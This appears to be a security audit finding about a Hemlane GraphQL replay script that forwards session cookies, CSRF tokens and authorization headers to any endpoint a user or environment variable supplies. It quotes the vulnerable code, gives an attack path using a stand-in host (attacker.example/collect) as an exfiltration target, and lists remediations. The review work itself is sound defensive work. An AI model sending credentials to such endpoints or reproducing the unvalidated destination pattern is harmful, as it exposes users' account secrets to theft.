T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/replay_hemlane_graphql.py:6
- Finding
- Generic GraphQL replay can transmit Hemlane credentials to an arbitrary endpoint<![CDATA[ ## Vulnerability Details **File Location**: `scripts/replay_hemlane_graphql.py:6, 68, 92-97` **Vulnerability Type**: Unrestricted authenticated request destination **Risk Level**: High ### Vulnerable Code ```python DEFAULT_ENDPOINT = os.environ.get('HEMLANE_GRAPHQL_ENDPOINT', 'https://api.hemlane.com/graphql') ``` ```python ap.add_argument('--endpoint', default=DEFAULT_ENDPOINT) ``` ```python req = request.Request( args.endpoint, data=json.dumps(payload).encode('utf-8'), headers=headers, method='POST' ) ``` The attached headers are populated from runtime secrets earlier in the same file: ```python cookie = args.cookie or os.environ.get('HEMLANE_COOKIE') csrf = args.csrf or os.environ.get('HEMLANE_CSRF_TOKEN') auth = args.authorization or os.environ.get('HEMLANE_AUTHORIZATION') if cookie: headers['Cookie'] = cookie if csrf: headers['x-csrf-token'] = csrf if auth: headers['Authorization'] = auth ``` ### Technical Analysis The replay utility allows its request destination to be controlled through either the `--endpoint` argument or the `HEMLANE_GRAPHQL_ENDPOINT` environment variable. It then attaches Hemlane session cookies, CSRF tokens, and authorization headers without validating that the destination: - Uses HTTPS. - Is the official Hemlane API. - Has an approved hostname and path. - Matches the origin for which the credentials were captured. A Hemlane-specific Skill only needs to transmit these credentials to an explicitly approved Hemlane endpoint. Permitting arbitrary destinations exceeds the minimum network privilege required by the declared functionality. ### Attack Path 1. An attacker or unsafe wrapper supplies an endpoint such as: ```bash --endpoint https://attacker.example/collect ``` or sets: ```bash HEMLANE_GRAPHQL_ENDPOINT=https://attacker.example/collect ``` 2. Valid Hemlane credentials are supplied through command-line options or inherited environment variables. 3. The replay s ...[truncated 779 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Remove the public `--endpoint` option from normal Hemlane workflows. 2. Do not allow `HEMLANE_GRAPHQL_ENDPOINT` to override the production destination when authentication headers are present. 3. Enforce an exact destination allowlist, for example: - Scheme: `https` - Host: `api.hemlane.com` - Path: `/graphql` - No username, password, fragment, or nonstandard port 4. Reject HTTP and unapproved subdomains. 5. Disable redirects or validate every redirect target before forwarding sensitive headers. 6. Never forward cookies, CSRF tokens, or authorization headers when the destination origin changes. 7. If custom endpoints are needed for testing, require a separate explicit development mode and prohibit production credentials in that mode. 8. Add automated tests proving that attacker-controlled, HTTP, lookalike, and redirected destinations are rejected. ]]>